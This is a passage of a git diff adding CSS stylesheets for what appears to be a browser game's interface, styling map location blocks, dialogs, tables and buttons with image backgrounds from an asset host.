table-cell; + border-spacing: 0 +} + +#page-wrapper .table-list.map { + width: 100%; + margin-top: 3px; +} + +#page-wrapper .map-block .map-block-mid .map-block-head { + font-weight: bold; + font-size: 12px; + height: 20px; + margin-top: 4px; + vertical-align: middle; + padding-top: 4px; + position: relative; +} + +#page-wrapper .map-block .map-block-mid .map-block-head .active { + background-image: url("/i/world_map2/flag_position.png"); + width: 20px; + height: 16px; + position: absolute; + right: 0; + top: 3px; +} + +#page-wrapper .map-block .map-block-mid .map-block-head .head-level { + color: #7b7b7b; + font-size: 9px; + display: inline-block; + font-weight: normal; +} + +#page-wrapper .map-block .map-block-mid .map-block-bottom { + padding-top: 3px; + height: 25px; +} + +#page-wrapper .map-block .map-block-mid .map-block-bottom .room-amount { + display: inline-block; + font-weight: bold; + font-size: 12px; +} + +#page-wrapper .map-block .map-block-mid .map-block-bottom .room-info { + display: inline-block; +} + +#page-wrapper .map-block .map-block-logo.novi4ki { + background-image: url("/i/world_map2/1_novi4ki_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.novi4ki { + background-image: url("/i/world_map2/1_novi4ki_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.novi4ki { + background-image: url("/i/world_map2/1_novi4ki_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.voinov { + background-image: url("/i/world_map2/2_zal_voinov_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.voinov { + background-image: url("/i/world_map2/2_zal_voinov_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.voinov { + background-image: url("/i/world_map2/2_zal_voinov_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.torgovij { + background-image: url("/i/world_map2/3_torg_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.torgovij { + background-image: url("/i/world_map2/3_torg_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.torgovij { + background-image: url("/i/world_map2/3_torg_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.rycarskij { + background-image: url("/i/world_map2/4_rycarskij_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.rycarskij { + background-image: url("/i/world_map2/4_rycarskij_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.rycarskij { + background-image: url("/i/world_map2/4_rycarskij_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.bashnja { + background-image: url("/i/world_map2/5_bashnja_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.bashnja { + background-image: url("/i/world_map2/5_bashnja_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.bashnja { + background-image: url("/i/world_map2/5_bashnja_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.koldovskoj { + background-image: url("/i/world_map2/6_koldovskoj_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.koldovskoj { + background-image: url("/i/world_map2/6_koldovskoj_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.koldovskoj { + background-image: url("/i/world_map2/6_koldovskoj_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.eduhov { + background-image: url("/i/world_map2/7_etaz_duhov_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.eduhov { + background-image: url("/i/world_map2/7_etaz_duhov_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.eduhov { + background-image: url("/i/world_map2/7_etaz_duhov_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.astral { + background-image: url("/i/world_map2/8_astral_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.astral { + background-image: url("/i/world_map2/8_astral_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.astral { + background-image: url("/i/world_map2/8_astral_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.fire { + background-image: url("/i/world_map2/9_fire_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.fire { + background-image: url("/i/world_map2/9_fire_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.fire { + background-image: url("/i/world_map2/9_fire_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.paladinov { + background-image: url("/i/world_map2/10_paladinov_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.paladinov { + background-image: url("/i/world_map2/10_paladinov_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.paladinov { + background-image: url("/i/world_map2/10_paladinov_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.sovet { + background-image: url("/i/world_map2/11_sovet_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.sovet { + background-image: url("/i/world_map2/11_sovet_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.sovet { + background-image: url("/i/world_map2/11_sovet_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.tma { + background-image: url("/i/world_map2/12_tma_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.tma { + background-image: url("/i/world_map2/12_tma_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.tma { + background-image: url("/i/world_map2/12_tma_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.tma2 { + background-image: url("/i/world_map2/12_tma_logo2.jpg"); +} + +#page-wrapper .map-block .map-block-mid.tma2 { + background-image: url("/i/world_map2/12_tma_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.tma2 { + background-image: url("/i/world_map2/12_tma_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.netral { + background-image: url("/i/world_map2/13_netral_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.netral { + background-image: url("/i/world_map2/13_netral_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.netral { + background-image: url("/i/world_map2/13_netral_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.netral2 { + background-image: url("/i/world_map2/13_netral_logo2.jpg"); +} + +#page-wrapper .map-block .map-block-mid.netral2 { + background-image: url("/i/world_map2/13_netral_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.netral2 { + background-image: url("/i/world_map2/13_netral_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.svet { + background-image: url("/i/world_map2/14_svet_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.svet { + background-image: url("/i/world_map2/14_svet_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.svet { + background-image: url("/i/world_map2/14_svet_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.svet2 { + background-image: url("/i/world_map2/14_svet_logo2.jpg"); +} + +#page-wrapper .map-block .map-block-mid.svet2 { + background-image: url("/i/world_map2/14_svet_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.svet2 { + background-image: url("/i/world_map2/14_svet_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.buduar { + background-image: url("/i/world_map2/15_buduar_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.buduar { + background-image: url("/i/world_map2/15_buduar_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.buduar { + background-image: url("/i/world_map2/15_buduar_end.jpg"); +} + +#page-wrapper .map-block .map-block-logo.clanwars { + background-image: url("/i/world_map2/16_clanwars_logo.jpg"); +} + +#page-wrapper .map-block .map-block-mid.clanwars { + background-image: url("/i/world_map2/16_clanwars_bgx.jpg"); +} + +#page-wrapper .map-block .map-block-right.clanwars { + background-image: url("/i/world_map2/16_clanwars_end.jpg"); +} + +.redalert { + font-weight: bold; + color: #FF0000; +} + +.greenalert { + font-weight: bold; + color: #00ff00; +} + +.row { + cursor: pointer; +} + +table.adm { + color: #333; + font-family: Helvetica, Arial, sans-serif; + width: 640px; + border-collapse: + collapse; border-spacing: 0; +} +table.adm td, table.adm th { border: 1px solid #CCC; height: 30px; } +table.adm th { + background: #e3c300; + font-weight: bold; +} +table.adm td { + background: #FAFAFA; + text-align: center; +} diff --git a/css/mi.css b/css/mi.css new file mode 100644 index 0000000..61cc173 --- /dev/null +++ b/css/mi.css @@ -0,0 +1,47 @@ +div.ui-dialog.mi-container .ui-dialog-content .oneinput > input { + float: right; + width: 33px; + border-left: none; +} + +div.ui-dialog.mi-container .ui-dialog-content .oneinput div { + padding-right: 35px; +} + +div.ui-dialog.mi-container .ui-dialog-title { + float: none; +} + +div.ui-dialog.mi-container .ui-dialog-content, div.sd-container form.sd-form { + padding: 2px 4px; +} + +div.ui-dialog.mi-container .ui-dialog-content .oneinput div input { + width: 100%; +} + +input, select, textarea, button { + border: solid 1px #b0b0b0; + margin-top: 1px; + margin-bottom: 2px; + font-size: 11px; + color: #191970; +} + +input.text { + font-weight: normal; +} + +.ui-dialog-content { + overflow: visible !important; +} + +.ui-dialog { + overflow: visible !important; +} + +a, a:visited { + font-weight: bold; + color: #003388; + text-decoration: none; +} \ No newline at end of file diff --git a/css/newstyle18.css b/css/newstyle18.css new file mode 100644 index 0000000..62ec96d --- /dev/null +++ b/css/newstyle18.css @@ -0,0 +1 @@ +*{margin:0;padding:0;}H3{FONT-WEIGHT:bold;FONT-SIZE:12pt;COLOR:#8f0000;FONT-FAMILY:Arial;TEXT-ALIGN:center}H4{FONT-WEIGHT:bold;FONT-SIZE:11pt;MARGIN-BOTTOM:5px;COLOR:#8f0000;FONT-FAMILY:Arial}H5{MARGIN-TOP:0px;FONT-WEIGHT:bold;FONT-SIZE:11pt;MARGIN-BOTTOM:0px;COLOR:#4f0000;FONT-FAMILY:Arial}H6{FONT-WEIGHT:bold;FONT-SIZE:10pt;MARGIN-BOTTOM:0px;COLOR:black;FONT-FAMILY:Verdana}H2{FONT-WEIGHT:bold;FONT-SIZE:10pt;MARGIN-BOTTOM:0px;COLOR:#8f0000;FONT-FAMILY:Verdana}A{FONT-WEIGHT:bold;COLOR:#003388;TEXT-DECORATION:none}A:visited{FONT-WEIGHT:bold;COLOR:#003388;TEXT-DECORATION:none}A:active{COLOR:#6f0000}A:hover{COLOR:#0066ff}.date{FONT-WEIGHT:normal;FONT-SIZE:8pt;COLOR:#007000;FONT-FAMILY:Courier;TEXT-DECORATION:none}.date2{FONT-WEIGHT:normal;FONT-SIZE:8pt;COLOR:#007000;FONT-FAMILY:Courier;BACKGROUND-COLOR:#00ffaa;TEXT-DECORATION:none}body{background-color:rgb(226,224,224);padding:0;margin:0;}img{border:0;}.btn{font-family:MS Sans Serif;font-size:10px;text-align:center;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;line-height:10px\0/;}.pointer{cursor:pointer;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}.center{text-align:center;}.icon{display:inline-block;cursor:pointer;}.icon.private{width:20px;height:15px;background-image:url("http://i.oldbk.com/i/lock.gif");}.icon.remove{width:13px;height:13px;background-image:url("http://i.oldbk.com/i/clear.gif");}.icon.edit{width:15px;height:15px;background-image:url("http://i.oldbk.com/i/frendlist/edit_button.png");}#page-wrapper{font-family:Tahoma;padding:10px;}#page-wrapper .hr_n{background-image:url("http://i.oldbk.com/i/world_map2/hr_line.jpg");height:5px;}#page-wrapper .block-hint{border:1px solid #b0b0b0;padding:10px;margin:0 auto;margin-top:20px;width:80%;background-color:#eeeced;text-align:center;font#fff6dd-weight:bold;font-family:tahoma;font-size:12px;color:#656364;}#page-wrapper a{text-decoration:none;color:#003289;}#page-wrapper .text-hint{width:90%;margin:0 auto;margin-top:40px;color:#535252;font-weight:bold;}#page-wrapper .left-text .nickname-wrapper{text-align:left;font-size:10pt;font-family:Verdana,Arial,Helvetica,Tahoma,sans-serif;}#page-wrapper .table-list{width:90%;}#page-wrapper .table-list tr.title-row td{text-align:center;font-weight:bold;font-size:11px;color:#6d6d6d;padding:5px;}#page-wrapper.map-wrapper .btn-control .left-text{position:absolute;}#page-wrapper .table-list tr.head-line{position:relative;text-align:center;background-image:url("http://i.oldbk.com/i/frendlist/head_bgx.jpg");padding:0;}#page-wrapper .table-list th a,#page-wrapper .table-list th .head-title span{display:inline-block;margin-top:8px;padding:2px 15px;font-size:10px;font-weight:bold;color:#535252;text-transform:uppercase;text-decoration:none;}#page-wrapper .table-list th a.active,#page-wrapper .table-list th a:hover,#page-wrapper .table-list th .head-title span.active{color:#b12321;}#page-wrapper .table-list th .head-left,#page-wrapper th .head-right{width:19px;height:30px;background-repeat:no-repeat;}#page-wrapper .table-list th .head-title{background-image:url("http://i.oldbk.com/i/obrazy/head_category_name_bg.jpg");width:174px;height:30px;position:absolute;left:50%;margin-left:-87px;}#page-wrapper .table-list th .head-left{background-image:url("http://i.oldbk.com/i/frendlist/head_left.jpg");float:left;}#page-wrapper .table-list th .head-right{background-image:url("http://i.oldbk.com/i/frendlist/head_right.jpg");float:right;}#page-wrapper .table-list th .head-separate{width:12px;height:30px;background:url("http://i.oldbk.com/i/obrazy/head_razdelitel.jpg") no-repeat;}#page-wrapper .table-list th .head-separate.left{float:left;}#page-wrapper .table-list th .head-separate.right{float:right;}#page-wrapper .table-list th .head-spoiler-btn{width:17px;height:10px;background-repeat:no-repeat;}#page-wrapper .table-list th .head-spoiler-btn.a{background-image:url("http://i.oldbk.com/i/sostojanie/btt2.png");}#page-wrapper .table-list th .head-spoiler-btn.a:hover{background-image:url("http://i.oldbk.com/i/sostojanie/btt3.png");}#page-wrapper .table-list th .head-spoiler-btn.b{background-image:url("http://i.oldbk.com/i/sostojanie/btt1b.png");}#page-wrapper .table-list th .head-spoiler-btn.b:hover{background-image:url("http://i.oldbk.com/i/sostojanie/btt3b.png");}#page-wrapper .table-list th .head-spoiler-btn.right{float:right;}#page-wrapper .table-list.sostoyanie th .head-spoiler-btn{position:absolute;right:20px;top:11px;}#page-wrapper .table-list th,#page-wrapper .table-list td{font-size:11pt;position:relative;}#page-wrapper .table-list .item-row td{padding:5px 0;min-height:24px;vertical-align:middle;}#page-wrapper .table-list .row-center em{font-size:13px;padding-right:30px;padding-left:10px;display:block;}#page-wrapper .table-list .row-left .separate,#page-wrapper .table-list .row-center .separate,#page-wrapper .table-list .row-right .separate{height:1px;clear:both;background-color:white;}#page-wrapper .table-list .row-left .separate{position:absolute;left:15px;right:8px;bottom:0;}#page-wrapper .table-list .row-center .separate{position:absolute;left:8px;right:8px;bottom:0;}#page-wrapper .table-list .row-right .separate{position:absolute;left:8px;right:15px;bottom:0;}#page-wrapper .table-list>tbody>tr>td.row-left{background:url("http://i.oldbk.com/i/frendlist/main_bgy_left.jpg") repeat-y;}#page-wrapper .table-list>tbody>tr>td.row-center{background-color:#f5f4f4;}#page-wrapper .table-list>tbody>tr>td.row-right{background:url("http://i.oldbk.com/i/frendlist/main_bgy_right.jpg") repeat-y;}#page-wrapper .obraz-list{width:100%;min-width:650px;}#page-wrapper .obraz-list .row-left{background:url("http://i.oldbk.com/i/obrazy/main_bgy_left.jpg") repeat-y;}#page-wrapper .obraz-list .row-center{background-color:#e8e6e7;}#page-wrapper .obraz-list .row-right{background:url("http://i.oldbk.com/i/obrazy/main_bgy_right.jpg") repeat-y;}#page-wrapper .table-list>tbody>tr>td.row-right .row-location{color:#535252;font-size:12px;font-weight:bold;width:280px;margin-left:6px;text-align:center;}#page-wrapper .table-list>tbody>tr>td.row-right .row-location.empty{font-style:italic;font-weight:normal;font-size:11px;}#page-wrapper .table-list>tfoot>tr{height:12px;}#page-wrapper .table-list>tfoot>tr>td .footer-left,#page-wrapper .table-list>tfoot>tr>td .footer-center,#page-wrapper .table-list>tfoot>tr>td .footer-right{height:12px;position:absolute;left:0;right:0;top:0;}#page-wrapper .table-list#ob,#page-wrapper .table-list#frendlist,#page-wrapper .table-list.pic-items,#page-wrapper table.table-form{margin:0 auto;}#page-wrapper .table-list .footer-frendlist .footer-left{background-image:url("http://i.oldbk.com/i/frendlist/down_left.png");z-index:1;}#page-wrapper .table-list .footer-frendlist .footer-center{background-image:url("http://i.oldbk.com/i/frendlist/down_center_bgx.jpg");left:-4px;right:-4px;z-index:0;}#page-wrapper .table-list .footer-frendlist .footer-right{background-image:url("http://i.oldbk.com/i/frendlist/down_right.png");z-index:1;}#page-wrapper .table-list .obraz-footer .footer-left{background:url("http://i.oldbk.com/i/obrazy/down_left.jpg") no-repeat;}#page-wrapper .table-list tr.obraz-footer{background:url("http://i.oldbk.com/i/obrazy/down_bgx.jpg") repeat-x;}#page-wrapper .table-list .obraz-footer .footer-right{background:url("http://i.oldbk.com/i/obrazy/down_right.jpg") no-repeat right;}#page-wrapper .table-list#frendlist tr:last-child td{padding-bottom:20px;}#page-wrapper .table-list .icon.private{margin-left:22px;margin-right:5px;}#page-wrapper .table-list .icon.remove{position:absolute;right:22px;top:50%;margin-top:-8px;}#page-wrapper .table-list .icon.edit{top:50%;position:absolute;right:0;margin-top:-8px;}#page-wrapper .table-form{width:88%;}#page-wrapper .table-form td.form-input{background-image:url("http://i.oldbk.com/i/frendlist/form_bgx.jpg");height:35px;}#page-wrapper .table-form td.form-input input[type="text"]{color:#535252;padding:0 10px;width:100%;border:0;background-color:transparent;}#page-wrapper .table-form td.form-input input[type="text"]:focus{outline:0;}#page-wrapper .table-form td.form-left,#page-wrapper .table-form td.form-right{width:10px;height:35px;}#page-wrapper .table-form td.form-left{background-image:url("http://i.oldbk.com/i/frendlist/form_left.jpg");}#page-wrapper .table-form td.form-separate{background-image:url("http://i.oldbk.com/i/frendlist/form_razdelitel.png");}#page-wrapper .table-form td.form-right{background-image:url("http://i.oldbk.com/i/frendlist/form_right.jpg");}#page-wrapper .btn-control{width:100%;text-align:right;height:25px;clear:both;min-width:685px;}#page-wrapper .btn-control .left-text{float:left;}#page-wrapper .btn-control .left-text .text-title,#page-wrapper .btn-control .left-text .hint-text{display:inline-block;vertical-align:top;}#page-wrapper .btn-control .left-text .text-title{text-transform:uppercase;font-size:14px;font-weight:bold;color:#b12321;padding-top:2px;}#page-wrapper .btn-control .left-text .hint-text{color:#9e9c9d;font-size:13px;padding-top:1px;}#page-wrapper .btn-control .btn{display:inline-block;}#page-wrapper .button-big{padding-top:4px;cursor:pointer;width:180px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/frendlist/button_cp_exit_sprite.jpg") 0 -19px;}#page-wrapper .button-big.submit{cursor:pointer;width:180px;height:16px;font-size:12px;font-weight:bold;padding-top:3px;}#page-wrapper .button-big:hover{background:url("http://i.oldbk.com/i/frendlist/button_cp_exit_sprite.jpg") 0 -38px;}#page-wrapper .button-big:active{background:url("http://i.oldbk.com/i/frendlist/button_cp_exit_sprite.jpg") 0 0;}#page-wrapper .text-head{font-weight:bold;font-size:12pt;color:#8F0000;font-family:Arial;text-align:center;}#page-wrapper .button-mid{padding-top:4px;cursor:pointer;width:75px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/buttons/button_mid_Sprite.jpg") no-repeat 0 -19px;}#page-wrapper .button-mid:hover{background:url("http://i.oldbk.com/i/buttons/button_mid_Sprite.jpg") 0 -38px;}#page-wrapper .button-mid:active{background:url("http://i.oldbk.com/i/buttons/button_mid_Sprite.jpg") 0 0;}#page-wrapper .button-dark-mid{padding-top:4px;cursor:pointer;width:75px;height:15px;font-size:10px;background:url("http://i.oldbk.com/i/buttons/darkButton_mid_Sprite.jpg") no-repeat 0 -19px;}#page-wrapper .button-dark-mid:hover{background:url("http://i.oldbk.com/i/buttons/darkButton_mid_Sprite.jpg") 0 -38px;}#page-wrapper .button-dark-mid:active{background:url("http://i.oldbk.com/i/buttons/darkButton_mid_Sprite.jpg") 0 0;}#page-wrapper .obraz-items{list-style:none;padding:0;text-align:center;}#page-wrapper .obraz-items li{display:inline-block;background:url("http://i.oldbk.com/i/obrazy/obraz_frame_bg.jpg") no-repeat 15px 0;width:120px;height:250px;position:relative;margin-bottom:20px;}#page-wrapper .obraz-items .obraz-item .obraz-item-head{padding:7px;text-align:center;}#page-wrapper .obraz-items li.obraz-item .btn{position:absolute;bottom:0;left:23px;}#page-wrapper .table-list.pic-items{table-layout:fixed;}#page-wrapper .table-list.pic-items td.separate{background:url("http://i.oldbk.com/i/obrazy_items/hr_2.jpg") repeat-x;height:2px;}#page-wrapper .table-list.pic-items>tbody>tr>td.odd{background-color:#e8e6e6;}#page-wrapper .table-list.pic-items>tbody>tr>td.even{background-color:#eeecec;}#page-wrapper .table-list.pic-items>tbody>tr>td.row-left{background:url("http://i.oldbk.com/i/obrazy_items/main_bgy_left.jpg") repeat-y;}#page-wrapper .table-list.pic-items>tbody>tr>td.row-center{background-color:#f5f4f4;}#page-wrapper .table-list.pic-items>tbody>tr>td.row-right{background:url("http://i.oldbk.com/i/obrazy_items/main_bgy_right.jpg") repeat-y;}#page-wrapper .table-list.pic-items .item-block{position:relative;width:100%;text-align:center;padding-top:10px;padding-bottom:40px;}#page-wrapper .table-list.pic-items .item-block .item-footer{position:absolute;bottom:10px;left:50%;margin-left:-37px;}#page-wrapper .table-list.sostoyanie{margin:0 auto;margin-bottom:20px;}#page-wrapper .table-list.sostoyanie .separate{background-image:url("http://i.oldbk.com/i/sostojanie/hr_2.jpg");height:2px;background-color:transparent;}#page-wrapper .table-list.sostoyanie[data-hidden="true"] tr td{text-align:center;display:none;}#page-wrapper .table-list.sostoyanie tr.element td{padding:10px;font-size:11px;}#page-wrapper .table-list.sostoyanie>tbody>tr>td.row-left{background:url("http://i.oldbk.com/i/sostojanie/main_bgy_left.jpg") repeat-y;color:#383838;text-align:center;font-weight:bold;}#page-wrapper .table-list.sostoyanie>tbody>tr>td.row-center{background-color:#f5f4f4;}#page-wrapper .table-list.sostoyanie>tbody>tr>td.row-right{background:url("http://i.oldbk.com/i/sostojanie/main_bgy_right.jpg") repeat-y;}#page-wrapper .map-block{display:table;table-layout:fixed;width:100%;height:59px;min-width:309px;border-spacing:0;}#page-wrapper .map td{padding-right:3px;padding-bottom:3px;}#page-wrapper .map td:last-child{padding-right:0;}#page-wrapper .map-block .map-block-logo{width:65px;*height:59px;display:table-cell;border-spacing:0;}#page-wrapper .map-block .map-block-mid{*height:59px;display:table-cell;border-spacing:0}#page-wrapper .map-block .map-block-right{width:8px;*height:59px;display:table-cell;border-spacing:0}#page-wrapper .table-list.map{width:100%;margin-top:3px;}#page-wrapper .map-block .map-block-mid .map-block-head{font-weight:bold;font-size:12px;height:20px;margin-top:4px;vertical-align:middle;padding-top:4px;position:relative;}#page-wrapper .map-block .map-block-mid .map-block-head .active{background-image:url("http://i.oldbk.com/i/world_map2/flag_position.png");width:20px;height:16px;position:absolute;right:0;top:3px;}#page-wrapper .map-block .map-block-mid .map-block-head .head-level{color:#7b7b7b;font-size:9px;display:inline-block;font-weight:normal;}#page-wrapper .map-block .map-block-mid .map-block-bottom{padding-top:3px;height:25px;}#page-wrapper .map-block .map-block-mid .map-block-bottom .room-amount{display:inline-block;font-weight:bold;font-size:12px;}#page-wrapper .map-block .map-block-mid .map-block-bottom .room-info{display:inline-block;}#page-wrapper .map-block .map-block-logo.novi4ki{background-image:url("http://i.oldbk.com/i/world_map2/1_novi4ki_logo.jpg");}#page-wrapper .map-block .map-block-mid.novi4ki{background-image:url("http://i.oldbk.com/i/world_map2/1_novi4ki_bgx.jpg");}#page-wrapper .map-block .map-block-right.novi4ki{background-image:url("http://i.oldbk.com/i/world_map2/1_novi4ki_end.jpg");}#page-wrapper .map-block .map-block-logo.voinov{background-image:url("http://i.oldbk.com/i/world_map2/2_zal_voinov_logo.jpg");}#page-wrapper .map-block .map-block-mid.voinov{background-image:url("http://i.oldbk.com/i/world_map2/2_zal_voinov_bgx.jpg");}#page-wrapper .map-block .map-block-right.voinov{background-image:url("http://i.oldbk.com/i/world_map2/2_zal_voinov_end.jpg");}#page-wrapper .map-block .map-block-logo.torgovij{background-image:url("http://i.oldbk.com/i/world_map2/3_torg_logo.jpg");}#page-wrapper .map-block .map-block-mid.torgovij{background-image:url("http://i.oldbk.com/i/world_map2/3_torg_bgx.jpg");}#page-wrapper .map-block .map-block-right.torgovij{background-image:url("http://i.oldbk.com/i/world_map2/3_torg_end.jpg");}#page-wrapper .map-block .map-block-logo.rycarskij{background-image:url("http://i.oldbk.com/i/world_map2/4_rycarskij_logo.jpg");}#page-wrapper .map-block .map-block-mid.rycarskij{background-image:url("http://i.oldbk.com/i/world_map2/4_rycarskij_bgx.jpg");}#page-wrapper .map-block .map-block-right.rycarskij{background-image:url("http://i.oldbk.com/i/world_map2/4_rycarskij_end.jpg");}#page-wrapper .map-block .map-block-logo.bashnja{background-image:url("http://i.oldbk.com/i/world_map2/5_bashnja_logo.jpg");}#page-wrapper .map-block .map-block-mid.bashnja{background-image:url("http://i.oldbk.com/i/world_map2/5_bashnja_bgx.jpg");}#page-wrapper .map-block .map-block-right.bashnja{background-image:url("http://i.oldbk.com/i/world_map2/5_bashnja_end.jpg");}#page-wrapper .map-block .map-block-logo.koldovskoj{background-image:url("http://i.oldbk.com/i/world_map2/6_koldovskoj_logo.jpg");}#page-wrapper .map-block .map-block-mid.koldovskoj{background-image:url("http://i.oldbk.com/i/world_map2/6_koldovskoj_bgx.jpg");}#page-wrapper .map-block .map-block-right.koldovskoj{background-image:url("http://i.oldbk.com/i/world_map2/6_koldovskoj_end.jpg");}#page-wrapper .map-block .map-block-logo.eduhov{background-image:url("http://i.oldbk.com/i/world_map2/7_etaz_duhov_logo.jpg");}#page-wrapper .map-block .map-block-mid.eduhov{background-image:url("http://i.oldbk.com/i/world_map2/7_etaz_duhov_bgx.jpg");}#page-wrapper .map-block .map-block-right.eduhov{background-image:url("http://i.oldbk.com/i/world_map2/7_etaz_duhov_end.jpg");}#page-wrapper .map-block .map-block-logo.astral{background-image:url("http://i.oldbk.com/i/world_map2/8_astral_logo.jpg");}#page-wrapper .map-block .map-block-mid.astral{background-image:url("http://i.oldbk.com/i/world_map2/8_astral_bgx.jpg");}#page-wrapper .map-block .map-block-right.astral{background-image:url("http://i.oldbk.com/i/world_map2/8_astral_end.jpg");}#page-wrapper .map-block .map-block-logo.fire{background-image:url("http://i.oldbk.com/i/world_map2/9_fire_logo.jpg");}#page-wrapper .map-block .map-block-mid.fire{background-image:url("http://i.oldbk.com/i/world_map2/9_fire_bgx.jpg");}#page-wrapper .map-block .map-block-right.fire{background-image:url("http://i.oldbk.com/i/world_map2/9_fire_end.jpg");}#page-wrapper .map-block .map-block-logo.paladinov{background-image:url("http://i.oldbk.com/i/world_map2/10_paladinov_logo.jpg");}#page-wrapper .map-block .map-block-mid.paladinov{background-image:url("http://i.oldbk.com/i/world_map2/10_paladinov_bgx.jpg");}#page-wrapper .map-block .map-block-right.paladinov{background-image:url("http://i.oldbk.com/i/world_map2/10_paladinov_end.jpg");}#page-wrapper .map-block .map-block-logo.sovet{background-image:url("http://i.oldbk.com/i/world_map2/11_sovet_logo.jpg");}#page-wrapper .map-block .map-block-mid.sovet{background-image:url("http://i.oldbk.com/i/world_map2/11_sovet_bgx.jpg");}#page-wrapper .map-block .map-block-right.sovet{background-image:url("http://i.oldbk.com/i/world_map2/11_sovet_end.jpg");}#page-wrapper .map-block .map-block-logo.tma{background-image:url("http://i.oldbk.com/i/world_map2/12_tma_logo.jpg");}#page-wrapper .map-block .map-block-mid.tma{background-image:url("http://i.oldbk.com/i/world_map2/12_tma_bgx.jpg");}#page-wrapper .map-block .map-block-right.tma{background-image:url("http://i.oldbk.com/i/world_map2/12_tma_end.jpg");}#page-wrapper .map-block .map-block-logo.tma2{background-image:url("http://i.oldbk.com/i/world_map2/12_tma_logo2.jpg");}#page-wrapper .map-block .map-block-mid.tma2{background-image:url("http://i.oldbk.com/i/world_map2/12_tma_bgx.jpg");}#page-wrapper .map-block .map-block-right.tma2{background-image:url("http://i.oldbk.com/i/world_map2/12_tma_end.jpg");}#page-wrapper .map-block .map-block-logo.netral{background-image:url("http://i.oldbk.com/i/world_map2/13_netral_logo.jpg");}#page-wrapper .map-block .map-block-mid.netral{background-image:url("http://i.oldbk.com/i/world_map2/13_netral_bgx.jpg");}#page-wrapper .map-block .map-block-right.netral{background-image:url("http://i.oldbk.com/i/world_map2/13_netral_end.jpg");}#page-wrapper .map-block .map-block-logo.netral2{background-image:url("http://i.oldbk.com/i/world_map2/13_netral_logo2.jpg");}#page-wrapper .map-block .map-block-mid.netral2{background-image:url("http://i.oldbk.com/i/world_map2/13_netral_bgx.jpg");}#page-wrapper .map-block .map-block-right.netral2{background-image:url("http://i.oldbk.com/i/world_map2/13_netral_end.jpg");}#page-wrapper .map-block .map-block-logo.svet{background-image:url("http://i.oldbk.com/i/world_map2/14_svet_logo.jpg");}#page-wrapper .map-block .map-block-mid.svet{background-image:url("http://i.oldbk.com/i/world_map2/14_svet_bgx.jpg");}#page-wrapper .map-block .map-block-right.svet{background-image:url("http://i.oldbk.com/i/world_map2/14_svet_end.jpg");}#page-wrapper .map-block .map-block-logo.svet2{background-image:url("http://i.oldbk.com/i/world_map2/14_svet_logo2.jpg");}#page-wrapper .map-block .map-block-mid.svet2{background-image:url("http://i.oldbk.com/i/world_map2/14_svet_bgx.jpg");}#page-wrapper .map-block .map-block-right.svet2{background-image:url("http://i.oldbk.com/i/world_map2/14_svet_end.jpg");}#page-wrapper .map-block .map-block-logo.buduar{background-image:url("http://i.oldbk.com/i/world_map2/15_buduar_logo.jpg");}#page-wrapper .map-block .map-block-mid.buduar{background-image:url("http://i.oldbk.com/i/world_map2/15_buduar_bgx.jpg");}#page-wrapper .map-block .map-block-right.buduar{background-image:url("http://i.oldbk.com/i/world_map2/15_buduar_end.jpg");}#page-wrapper .map-block .map-block-logo.clanwars{background-image:url("http://i.oldbk.com/i/world_map2/16_clanwars_logo.jpg");}#page-wrapper .map-block .map-block-mid.clanwars{background-image:url("http://i.oldbk.com/i/world_map2/16_clanwars_bgx.jpg");}#page-wrapper .map-block 